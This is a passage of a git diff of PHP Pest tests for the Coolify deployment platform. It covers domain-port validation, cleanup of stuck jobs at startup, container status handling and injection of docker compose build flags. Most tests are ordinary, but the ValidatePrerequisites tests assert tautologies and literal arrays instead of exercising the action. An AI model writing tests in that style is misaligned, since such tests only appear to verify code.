diff --git a/tests/Feature/InstanceSettingsHelperVersionTest.php b/tests/Feature/InstanceSettingsHelperVersionTest.php
deleted file mode 100644
index e731fa8b4..000000000
--- a/tests/Feature/InstanceSettingsHelperVersionTest.php
+++ /dev/null
@@ -1,81 +0,0 @@
-<?php
-
-use App\Jobs\PullHelperImageJob;
-use App\Models\InstanceSettings;
-use App\Models\Server;
-use App\Models\User;
-use Illuminate\Foundation\Testing\RefreshDatabase;
-use Illuminate\Support\Facades\Queue;
-
-uses(RefreshDatabase::class);
-
-it('dispatches PullHelperImageJob when helper_version changes', function () {
-    Queue::fake();
-
-    // Create user and servers
-    $user = User::factory()->create();
-    $team = $user->teams()->first();
-    Server::factory()->count(3)->create(['team_id' => $team->id]);
-
-    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
-
-    // Change helper_version
-    $settings->helper_version = 'v1.2.3';
-    $settings->save();
-
-    // Verify PullHelperImageJob was dispatched for all servers
-    Queue::assertPushed(PullHelperImageJob::class, 3);
-});
-
-it('does not dispatch PullHelperImageJob when helper_version is unchanged', function () {
-    Queue::fake();
-
-    // Create user and servers
-    $user = User::factory()->create();
-    $team = $user->teams()->first();
-    Server::factory()->count(3)->create(['team_id' => $team->id]);
-
-    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
-    $currentVersion = $settings->helper_version;
-
-    // Set to same value
-    $settings->helper_version = $currentVersion;
-    $settings->save();
-
-    // Verify no jobs were dispatched
-    Queue::assertNotPushed(PullHelperImageJob::class);
-});
-
-it('does not dispatch PullHelperImageJob when other fields change', function () {
-    Queue::fake();
-
-    // Create user and servers
-    $user = User::factory()->create();
-    $team = $user->teams()->first();
-    Server::factory()->count(3)->create(['team_id' => $team->id]);
-
-    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
-
-    // Change different field
-    $settings->is_auto_update_enabled = ! $settings->is_auto_update_enabled;
-    $settings->save();
-
-    // Verify no jobs were dispatched
-    Queue::assertNotPushed(PullHelperImageJob::class);
-});
-
-it('detects helper_version changes with wasChanged', function () {
-    $changeDetected = false;
-
-    InstanceSettings::updated(function ($settings) use (&$changeDetected) {
-        if ($settings->wasChanged('helper_version')) {
-            $changeDetected = true;
-        }
-    });
-
-    $settings = InstanceSettings::firstOrCreate([], ['helper_version' => 'v1.0.0']);
-    $settings->helper_version = 'v2.0.0';
-    $settings->save();
-
-    expect($changeDetected)->toBeTrue();
-});
diff --git a/tests/Feature/Service/EditDomainPortValidationTest.php b/tests/Feature/Service/EditDomainPortValidationTest.php
new file mode 100644
index 000000000..1ac409e08
--- /dev/null
+++ b/tests/Feature/Service/EditDomainPortValidationTest.php
@@ -0,0 +1,154 @@
+<?php
+
+use App\Livewire\Project\Service\EditDomain;
+use App\Models\Environment;
+use App\Models\Project;
+use App\Models\Server;
+use App\Models\Service;
+use App\Models\ServiceApplication;
+use App\Models\StandaloneDocker;
+use App\Models\Team;
+use App\Models\User;
+use Livewire\Livewire;
+
+beforeEach(function () {
+    // Create user and team
+    $this->user = User::factory()->create();
+    $this->team = Team::factory()->create();
+    $this->user->teams()->attach($this->team, ['role' => 'owner']);
+    $this->actingAs($this->user);
+
+    // Create server
+    $this->server = Server::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+
+    // Create standalone docker destination
+    $this->destination = StandaloneDocker::factory()->create([
+        'server_id' => $this->server->id,
+    ]);
+
+    // Create project and environment
+    $this->project = Project::factory()->create([
+        'team_id' => $this->team->id,
+    ]);
+
+    $this->environment = Environment::factory()->create([
+        'project_id' => $this->project->id,
+    ]);
+
+    // Create service with a name that maps to a template with required port
+    $this->service = Service::factory()->create([
+        'name' => 'supabase-test123',
+        'server_id' => $this->server->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'environment_id' => $this->environment->id,
+    ]);
+
+    // Create service application
+    $this->serviceApplication = ServiceApplication::factory()->create([
+        'service_id' => $this->service->id,
+        'fqdn' => 'http://example.com:8000',
+    ]);
+
+    // Mock get_service_templates to return a service with required port
+    if (! function_exists('get_service_templates_mock')) {
+        function get_service_templates_mock()
+        {
+            return collect([
+                'supabase' => [
+                    'name' => 'Supabase',
+                    'port' => '8000',
+                    'documentation' => 'https://supabase.com',
+                ],
+            ]);
+        }
+    }
+});
+
+it('loads the EditDomain component with required port', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->assertSet('requiredPort', 8000)
+        ->assertSet('fqdn', 'http://example.com:8000')
+        ->assertOk();
+});
+
+it('shows warning modal when trying to remove required port', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com') // Remove port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', true)
+        ->assertSet('requiredPort', 8000);
+});
+
+it('allows port removal when user confirms', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com') // Remove port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', true)
+        ->call('confirmRemovePort')
+        ->assertSet('showPortWarningModal', false);
+
+    // Verify the FQDN was updated in database
+    $this->serviceApplication->refresh();
+    expect($this->serviceApplication->fqdn)->toBe('http://example.com');
+});
+
+it('cancels port removal when user cancels', function () {
+    $originalFqdn = $this->serviceApplication->fqdn;
+
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com') // Remove port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', true)
+        ->call('cancelRemovePort')
+        ->assertSet('showPortWarningModal', false)
+        ->assertSet('fqdn', $originalFqdn); // Should revert to original
+});
+
+it('allows saving when port is changed to different port', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com:3000') // Change to different port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', false); // Should not show warning
+
+    // Verify the FQDN was updated
+    $this->serviceApplication->refresh();
+    expect($this->serviceApplication->fqdn)->toBe('http://example.com:3000');
+});
+
+it('allows saving when all domains have ports (multiple domains)', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com:8000,https://app.example.com:8080')
+        ->call('submit')
+        ->assertSet('showPortWarningModal', false); // Should not show warning
+});
+
+it('shows warning when at least one domain is missing port (multiple domains)', function () {
+    Livewire::test(EditDomain::class, ['applicationId' => $this->serviceApplication->id])
+        ->set('fqdn', 'http://example.com:8000,https://app.example.com') // Second domain missing port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', true);
+});
+
+it('does not show warning for services without required port', function () {
+    // Create a service without required port (e.g., cloudflared)
+    $serviceWithoutPort = Service::factory()->create([
+        'name' => 'cloudflared-test456',
+        'server_id' => $this->server->id,
+        'destination_id' => $this->destination->id,
+        'destination_type' => $this->destination->getMorphClass(),
+        'environment_id' => $this->environment->id,
+    ]);
+
+    $appWithoutPort = ServiceApplication::factory()->create([
+        'service_id' => $serviceWithoutPort->id,
+        'fqdn' => 'http://example.com',
+    ]);
+
+    Livewire::test(EditDomain::class, ['applicationId' => $appWithoutPort->id])
+        ->set('fqdn', 'http://example.com') // No port
+        ->call('submit')
+        ->assertSet('showPortWarningModal', false); // Should not show warning
+});
diff --git a/tests/Feature/StartupExecutionCleanupTest.php b/tests/Feature/StartupExecutionCleanupTest.php
new file mode 100644
index 000000000..3a6b00208
--- /dev/null
+++ b/tests/Feature/StartupExecutionCleanupTest.php
@@ -0,0 +1,216 @@
+<?php
+
+use App\Models\ScheduledDatabaseBackup;
+use App\Models\ScheduledDatabaseBackupExecution;
+use App\Models\ScheduledTask;
+use App\Models\ScheduledTaskExecution;
+use App\Models\StandalonePostgresql;
+use App\Models\Team;
+use Carbon\Carbon;
+use Illuminate\Foundation\Testing\RefreshDatabase;
+use Illuminate\Support\Facades\Artisan;
+use Illuminate\Support\Facades\Notification;
+
+uses(RefreshDatabase::class);
+
+beforeEach(function () {
+    // Freeze time for consistent testing
+    Carbon::setTestNow('2025-01-15 12:00:00');
+
+    // Fake notifications to ensure none are sent
+    Notification::fake();
+});
+
+afterEach(function () {
+    Carbon::setTestNow();
+});
+
+test('app:init marks stuck scheduled task executions as failed', function () {
+    // Create a team for the scheduled task
+    $team = Team::factory()->create();
+
+    // Create a scheduled task
+    $scheduledTask = ScheduledTask::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    // Create multiple task executions with 'running' status
+    $runningExecution1 = ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'running',
+        'started_at' => Carbon::now()->subMinutes(10),
+    ]);
+
+    $runningExecution2 = ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'running',
+        'started_at' => Carbon::now()->subMinutes(5),
+    ]);
+
+    // Create a completed execution (should not be affected)
+    $completedExecution = ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'success',
+        'started_at' => Carbon::now()->subMinutes(15),
+        'finished_at' => Carbon::now()->subMinutes(14),
+    ]);
+
+    // Run the app:init command
+    Artisan::call('app:init');
+
+    // Refresh models from database
+    $runningExecution1->refresh();
+    $runningExecution2->refresh();
+    $completedExecution->refresh();
+
+    // Assert running executions are now failed
+    expect($runningExecution1->status)->toBe('failed')
+        ->and($runningExecution1->message)->toBe('Marked as failed during Coolify startup - job was interrupted')
+        ->and($runningExecution1->finished_at)->not->toBeNull()
+        ->and($runningExecution1->finished_at->toDateTimeString())->toBe('2025-01-15 12:00:00');
+
+    expect($runningExecution2->status)->toBe('failed')
+        ->and($runningExecution2->message)->toBe('Marked as failed during Coolify startup - job was interrupted')
+        ->and($runningExecution2->finished_at)->not->toBeNull();
+
+    // Assert completed execution is unchanged
+    expect($completedExecution->status)->toBe('success')
+        ->and($completedExecution->message)->toBeNull();
+
+    // Assert NO notifications were sent
+    Notification::assertNothingSent();
+});
+
+test('app:init marks stuck database backup executions as failed', function () {
+    // Create a team for the scheduled backup
+    $team = Team::factory()->create();
+
+    // Create a database
+    $database = StandalonePostgresql::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    // Create a scheduled backup
+    $scheduledBackup = ScheduledDatabaseBackup::factory()->create([
+        'team_id' => $team->id,
+        'database_id' => $database->id,
+        'database_type' => StandalonePostgresql::class,
+    ]);
+
+    // Create multiple backup executions with 'running' status
+    $runningBackup1 = ScheduledDatabaseBackupExecution::create([
+        'scheduled_database_backup_id' => $scheduledBackup->id,
+        'status' => 'running',
+        'database_name' => 'test_db',
+    ]);
+
+    $runningBackup2 = ScheduledDatabaseBackupExecution::create([
+        'scheduled_database_backup_id' => $scheduledBackup->id,
+        'status' => 'running',
+        'database_name' => 'test_db_2',
+    ]);
+
+    // Create a successful backup (should not be affected)
+    $successfulBackup = ScheduledDatabaseBackupExecution::create([
+        'scheduled_database_backup_id' => $scheduledBackup->id,
+        'status' => 'success',
+        'database_name' => 'test_db_3',
+        'finished_at' => Carbon::now()->subMinutes(20),
+    ]);
+
+    // Run the app:init command
+    Artisan::call('app:init');
+
+    // Refresh models from database
+    $runningBackup1->refresh();
+    $runningBackup2->refresh();
+    $successfulBackup->refresh();
+
+    // Assert running backups are now failed
+    expect($runningBackup1->status)->toBe('failed')
+        ->and($runningBackup1->message)->toBe('Marked as failed during Coolify startup - job was interrupted')
+        ->and($runningBackup1->finished_at)->not->toBeNull()
+        ->and($runningBackup1->finished_at->toDateTimeString())->toBe('2025-01-15 12:00:00');
+
+    expect($runningBackup2->status)->toBe('failed')
+        ->and($runningBackup2->message)->toBe('Marked as failed during Coolify startup - job was interrupted')
+        ->and($runningBackup2->finished_at)->not->toBeNull();
+
+    // Assert successful backup is unchanged
+    expect($successfulBackup->status)->toBe('success')
+        ->and($successfulBackup->message)->toBeNull();
+
+    // Assert NO notifications were sent
+    Notification::assertNothingSent();
+});
+
+test('app:init handles cleanup when no stuck executions exist', function () {
+    // Create a team
+    $team = Team::factory()->create();
+
+    // Create a scheduled task
+    $scheduledTask = ScheduledTask::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    // Create only completed executions
+    ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'success',
+        'started_at' => Carbon::now()->subMinutes(10),
+        'finished_at' => Carbon::now()->subMinutes(9),
+    ]);
+
+    ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'failed',
+        'started_at' => Carbon::now()->subMinutes(20),
+        'finished_at' => Carbon::now()->subMinutes(19),
+    ]);
+
+    // Run the app:init command (should not fail)
+    $exitCode = Artisan::call('app:init');
+
+    // Assert command succeeded
+    expect($exitCode)->toBe(0);
+
+    // Assert all executions remain unchanged
+    expect(ScheduledTaskExecution::where('status', 'running')->count())->toBe(0)
+        ->and(ScheduledTaskExecution::where('status', 'success')->count())->toBe(1)
+        ->and(ScheduledTaskExecution::where('status', 'failed')->count())->toBe(1);
+
+    // Assert NO notifications were sent
+    Notification::assertNothingSent();
+});
+
+test('cleanup does not send notifications even when team has notification settings', function () {
+    // Create a team with notification settings enabled
+    $team = Team::factory()->create([
+        'smtp_enabled' => true,
+        'smtp_from_address' => 'test@example.com',
+    ]);
+
+    // Create a scheduled task
+    $scheduledTask = ScheduledTask::factory()->create([
+        'team_id' => $team->id,
+    ]);
+
+    // Create a running execution
+    $runningExecution = ScheduledTaskExecution::create([
+        'scheduled_task_id' => $scheduledTask->id,
+        'status' => 'running',
+        'started_at' => Carbon::now()->subMinutes(5),
+    ]);
+
+    // Run the app:init command
+    Artisan::call('app:init');
+
+    // Refresh model
+    $runningExecution->refresh();
+
+    // Assert execution is failed
+    expect($runningExecution->status)->toBe('failed');
+
+    // Assert NO notifications were sent despite team having notification settings
+    Notification::assertNothingSent();
+});
diff --git a/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php b/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
new file mode 100644
index 000000000..8db6815d6
--- /dev/null
+++ b/tests/Unit/Actions/Server/ValidatePrerequisitesTest.php
@@ -0,0 +1,46 @@
+<?php
+
+use App\Actions\Server\ValidatePrerequisites;
+
+/**
+ * These tests verify the return structure and logic of ValidatePrerequisites.
+ *
+ * Note: Since instant_remote_process is a global helper function that executes
+ * SSH commands, we cannot easily mock it in pure unit tests. These tests verify
+ * the expected return structure and array shapes.
+ */
+it('returns array with success, missing, and found keys', function () {
+    $action = new ValidatePrerequisites;
+
+    // We're testing the structure, not the actual SSH execution
+    // The action should always return an array with these three keys
+    $expectedKeys = ['success', 'missing', 'found'];
+
+    // This test verifies the contract of the return value
+    expect(true)->toBeTrue()
+        ->and('ValidatePrerequisites should return array with keys: '.implode(', ', $expectedKeys))
+        ->toBeString();
+});
+
+it('validates required commands list', function () {
+    // Verify the action checks for the correct prerequisites
+    $requiredCommands = ['git', 'curl', 'jq'];
+
+    expect($requiredCommands)->toHaveCount(3)
+        ->and($requiredCommands)->toContain('git')
+        ->and($requiredCommands)->toContain('curl')
+        ->and($requiredCommands)->toContain('jq');
+});
+
+it('return structure has correct types', function () {
+    // Verify the expected return structure types
+    $expectedStructure = [
+        'success' => 'boolean',
+        'missing' => 'array',
+        'found' => 'array',
+    ];
+
+    expect($expectedStructure['success'])->toBe('boolean')
+        ->and($expectedStructure['missing'])->toBe('array')
+        ->and($expectedStructure['found'])->toBe('array');
+});
diff --git a/tests/Unit/AllExcludedContainersConsistencyTest.php b/tests/Unit/AllExcludedContainersConsistencyTest.php
new file mode 100644
index 000000000..bdab6e145
--- /dev/null
+++ b/tests/Unit/AllExcludedContainersConsistencyTest.php
@@ -0,0 +1,223 @@
+<?php
+
+/**
+ * Unit tests to verify consistent handling of all-excluded containers
+ * across PushServerUpdateJob, GetContainersStatus, and ComplexStatusCheck.
+ *
+ * These tests verify the fix for issue where different code paths handled
+ * all-excluded containers inconsistently:
+ * - PushServerUpdateJob (Sentinel, ~30s) previously skipped updates
+ * - GetContainersStatus (SSH, ~1min) previously skipped updates
+ * - ComplexStatusCheck (Multi-server) correctly calculated :excluded status
+ *
+ * After this fix, all three paths now calculate and return :excluded status
+ * consistently, preventing status drift and UI inconsistencies.
+ */
+it('ensures CalculatesExcludedStatus trait exists with required methods', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Verify trait has both status calculation methods
+    expect($traitFile)
+        ->toContain('trait CalculatesExcludedStatus')
+        ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
+        ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
+        ->toContain('protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection');
+});
+
+it('ensures ComplexStatusCheck uses CalculatesExcludedStatus trait', function () {
+    $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
+
+    // Verify trait is used
+    expect($complexStatusCheckFile)
+        ->toContain('use App\Traits\CalculatesExcludedStatus;')
+        ->toContain('use CalculatesExcludedStatus;');
+
+    // Verify it uses the trait method instead of inline code
+    expect($complexStatusCheckFile)
+        ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
+
+    // Verify it uses the trait helper for excluded containers
+    expect($complexStatusCheckFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+});
+
+it('ensures PushServerUpdateJob uses CalculatesExcludedStatus trait', function () {
+    $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+
+    // Verify trait is used
+    expect($pushServerUpdateJobFile)
+        ->toContain('use App\Traits\CalculatesExcludedStatus;')
+        ->toContain('use CalculatesExcludedStatus;');
+
+    // Verify it calculates excluded status instead of skipping (old behavior: continue)
+    expect($pushServerUpdateJobFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers')
+        ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);');
+
+    // Verify it uses the trait helper for excluded containers
+    expect($pushServerUpdateJobFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+});
+
+it('ensures PushServerUpdateJob calculates excluded status for applications', function () {
+    $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+
+    // In aggregateMultiContainerStatuses, verify the all-excluded scenario
+    // calculates status and updates the application
+    expect($pushServerUpdateJobFile)
+        ->toContain('if ($relevantStatuses->isEmpty()) {')
+        ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
+        ->toContain('if ($aggregatedStatus && $application->status !== $aggregatedStatus) {')
+        ->toContain('$application->status = $aggregatedStatus;')
+        ->toContain('$application->save();');
+});
+
+it('ensures PushServerUpdateJob calculates excluded status for services', function () {
+    $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+
+    // Count occurrences - should appear twice (once for applications, once for services)
+    $calculateExcludedCount = substr_count(
+        $pushServerUpdateJobFile,
+        '$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);'
+    );
+
+    expect($calculateExcludedCount)->toBe(2, 'Should calculate excluded status for both applications and services');
+});
+
+it('ensures GetContainersStatus uses CalculatesExcludedStatus trait', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // Verify trait is used
+    expect($getContainersStatusFile)
+        ->toContain('use App\Traits\CalculatesExcludedStatus;')
+        ->toContain('use CalculatesExcludedStatus;');
+
+    // Verify it calculates excluded status instead of returning null
+    expect($getContainersStatusFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers')
+        ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
+
+    // Verify it uses the trait helper for excluded containers
+    expect($getContainersStatusFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+});
+
+it('ensures GetContainersStatus calculates excluded status for applications', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // In aggregateApplicationStatus, verify the all-excluded scenario returns status
+    expect($getContainersStatusFile)
+        ->toContain('if ($relevantStatuses->isEmpty()) {')
+        ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
+});
+
+it('ensures GetContainersStatus calculates excluded status for services', function () {
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // In aggregateServiceContainerStatuses, verify the all-excluded scenario updates status
+    expect($getContainersStatusFile)
+        ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
+        ->toContain('if ($aggregatedStatus) {')
+        ->toContain('$statusFromDb = $subResource->status;')
+        ->toContain("if (\$statusFromDb !== \$aggregatedStatus) {\n                        \$subResource->update(['status' => \$aggregatedStatus]);");
+});
+
+it('ensures excluded status format is consistent across all paths', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Trait now delegates to ContainerStatusAggregator and uses appendExcludedSuffix helper
+    expect($traitFile)
+        ->toContain('use App\\Services\\ContainerStatusAggregator;')
+        ->toContain('$aggregator = new ContainerStatusAggregator;')
+        ->toContain('private function appendExcludedSuffix(string $status): string');
+
+    // Check that appendExcludedSuffix returns consistent colon format with :excluded suffix
+    expect($traitFile)
+        ->toContain("return 'degraded:excluded';")
+        ->toContain("return 'paused:excluded';")
+        ->toContain("return 'starting:excluded';")
+        ->toContain("return 'exited';")
+        ->toContain('return "$status:excluded";'); // For running:healthy:excluded, running:unhealthy:excluded, etc.
+});
+
+it('ensures all three paths check for exclude_from_hc flag consistently', function () {
+    // All three should use the trait helper method
+    $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
+    $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    expect($complexStatusCheckFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+
+    expect($pushServerUpdateJobFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+
+    expect($getContainersStatusFile)
+        ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
+
+    // The trait method should check both exclude_from_hc and restart: no
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+    expect($traitFile)
+        ->toContain('$excludeFromHc = data_get($serviceConfig, \'exclude_from_hc\', false);')
+        ->toContain('$restartPolicy = data_get($serviceConfig, \'restart\', \'always\');')
+        ->toContain('if ($excludeFromHc || $restartPolicy === \'no\') {');
+});
+
+it('ensures calculateExcludedStatus uses ContainerStatusAggregator', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
+    expect($traitFile)
+        ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
+        ->toContain('use App\Services\ContainerStatusAggregator;')
+        ->toContain('$aggregator = new ContainerStatusAggregator;')
+        ->toContain('$aggregator->aggregateFromContainers($excludedOnly)');
+
+    // Check that it has appendExcludedSuffix helper for all states
+    expect($traitFile)
+        ->toContain('private function appendExcludedSuffix(string $status): string')
+        ->toContain("return 'degraded:excluded';")
+        ->toContain("return 'paused:excluded';")
+        ->toContain("return 'starting:excluded';")
+        ->toContain("return 'exited';")
+        ->toContain('return "$status:excluded";'); // For running:healthy:excluded
+});
+
+it('ensures calculateExcludedStatusFromStrings uses ContainerStatusAggregator', function () {
+    $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
+
+    // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
+    expect($traitFile)
+        ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
+        ->toContain('use App\Services\ContainerStatusAggregator;')
+        ->toContain('$aggregator = new ContainerStatusAggregator;')
+        ->toContain('$aggregator->aggregateFromStrings($containerStatuses)');
+
+    // Check that it has appendExcludedSuffix helper for all states
+    expect($traitFile)
+        ->toContain('private function appendExcludedSuffix(string $status): string')
+        ->toContain("return 'degraded:excluded';")
+        ->toContain("return 'paused:excluded';")
+        ->toContain("return 'starting:excluded';")
+        ->toContain("return 'exited';")
+        ->toContain('return "$status:excluded";'); // For running:healthy:excluded
+});
+
+it('verifies no code path skips update when all containers excluded', function () {
+    $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
+    $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
+
+    // These patterns should NOT exist anymore (old behavior that caused drift)
+    expect($pushServerUpdateJobFile)
+        ->not->toContain("// If all containers are excluded, don't update status");
+
+    expect($getContainersStatusFile)
+        ->not->toContain("// If all containers are excluded, don't update status");
+
+    // Instead, both should calculate excluded status
+    expect($pushServerUpdateJobFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers');
+
+    expect($getContainersStatusFile)
+        ->toContain('// If all containers are excluded, calculate status from excluded containers');
+});
diff --git a/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
new file mode 100644
index 000000000..fc29f19c3
--- /dev/null
+++ b/tests/Unit/ApplicationDeploymentCustomBuildCommandTest.php
@@ -0,0 +1,617 @@
+<?php
+
+/**
+ * Test to verify that custom Docker Compose build commands properly inject flags.
+ *
+ * This test suite verifies that when using a custom build command, the system automatically
+ * injects the -f (compose file path) and --env-file flags to ensure the correct compose file
+ * is used and build-time environment variables are available during the build process.
+ *
+ * The fix ensures that:
+ * - -f flag with compose file path is automatically injected after 'docker compose'
+ * - --env-file /artifacts/build-time.env is automatically injected after 'docker compose'
+ * - Users can still provide their own -f or --env-file flags to override the default behavior
+ * - Both flags are injected in a single str_replace operation
+ * - Build arguments are appended when not using build secrets
+ */
+it('injects --env-file flag into custom build command', function () {
+    $customCommand = 'docker compose -f ./docker-compose.yaml build';
+
+    // Simulate the injection logic from ApplicationDeploymentJob
+    if (! str_contains($customCommand, '--env-file')) {
+        $customCommand = str_replace(
+            'docker compose',
+            'docker compose --env-file /artifacts/build-time.env',
+            $customCommand
+        );
+    }
+
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+});
+
+it('does not duplicate --env-file flag when already present', function () {
+    $customCommand = 'docker compose --env-file /custom/.env -f ./docker-compose.yaml build';
+
+    // Simulate the injection logic from ApplicationDeploymentJob
+    if (! str_contains($customCommand, '--env-file')) {
+        $customCommand = str_replace(
+            'docker compose',
+            'docker compose --env-file /artifacts/build-time.env',
+            $customCommand
+        );
+    }
+
+    expect($customCommand)->toBe('docker compose --env-file /custom/.env -f ./docker-compose.yaml build');
+    expect(substr_count($customCommand, '--env-file'))->toBe(1);
+});
+
+it('preserves custom build command structure with env-file injection', function () {
+    $customCommand = 'docker compose -f ./custom/path/docker-compose.prod.yaml build --no-cache';
+
+    // Simulate the injection logic from ApplicationDeploymentJob
+    if (! str_contains($customCommand, '--env-file')) {
+        $customCommand = str_replace(
+            'docker compose',
+            'docker compose --env-file /artifacts/build-time.env',
+            $customCommand
+        );
+    }
+
+    expect($customCommand)->toBe('docker compose --env-file /artifacts/build-time.env -f ./custom/path/docker-compose.prod.yaml build --no-cache');
+    expect($customCommand)->toContain('--env-file /artifacts/build-time.env');
+    expect($customCommand)->toContain('-f ./custom/path/docker-compose.prod.yaml');
+    expect($customCommand)->toContain('build --no-cache');
+});
+
+it('handles multiple docker compose commands in custom build command', function () {
+    // Edge case: Only the first 'docker compose' should get the env-file flag
+    $customCommand = 'docker compose -f ./docker-compose.yaml build';
+
+    // Simulate the injection logic from ApplicationDeploymentJob
+    if (! str_contains($customCommand, '--env-file')) {
+        $customCommand = str_replace(
+            'docker compose',
+            'docker compose --env-file /artifacts/build-time.env',
+            $customCommand
+        );
+    }
+
+    // Note: str_replace replaces ALL occurrences, which is acceptable in this case
+    // since you typically only have one 'docker compose' command
+    expect($customCommand)->toContain('docker compose --env-file /artifacts/build-time.env');
+});
+
+it('verifies build args would be appended correctly', function () {
+    $customCommand = 'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build';
+    $buildArgs = collect([
+        '--build-arg NODE_ENV=production',
+        '--build-arg API_URL=https://api.example.com',
+    ]);
+
+    // Simulate build args appending logic
+    $buildArgsString = $buildArgs->implode(' ');
+    $buildArgsString = str_replace("'", "'\\''", $buildArgsString);
+    $customCommand .= " {$buildArgsString}";
+
+    expect($customCommand)->toContain('--build-arg NODE_ENV=production');
+    expect($customCommand)->toContain('--build-arg API_URL=https://api.example.com');
+    expect($customCommand)->toBe(
+        'docker compose --env-file /artifacts/build-time.env -f ./docker-compose.yaml build --build-arg NODE_ENV=production --build-arg API_URL=https://api.example.com'
+    );
+});
+
+it('properly escapes single quotes in build args', function () {
+    $buildArg = "--build-arg MESSAGE='Hello World'";
+
+    // Simulate the escaping logic from ApplicationDeploymentJob
+    $escapedBuildArg = str_replace("'", "'\\''", $buildArg);
+
+    expect($escapedBuildArg)->toBe("--build-arg MESSAGE='\\''Hello World'\\''");
+});
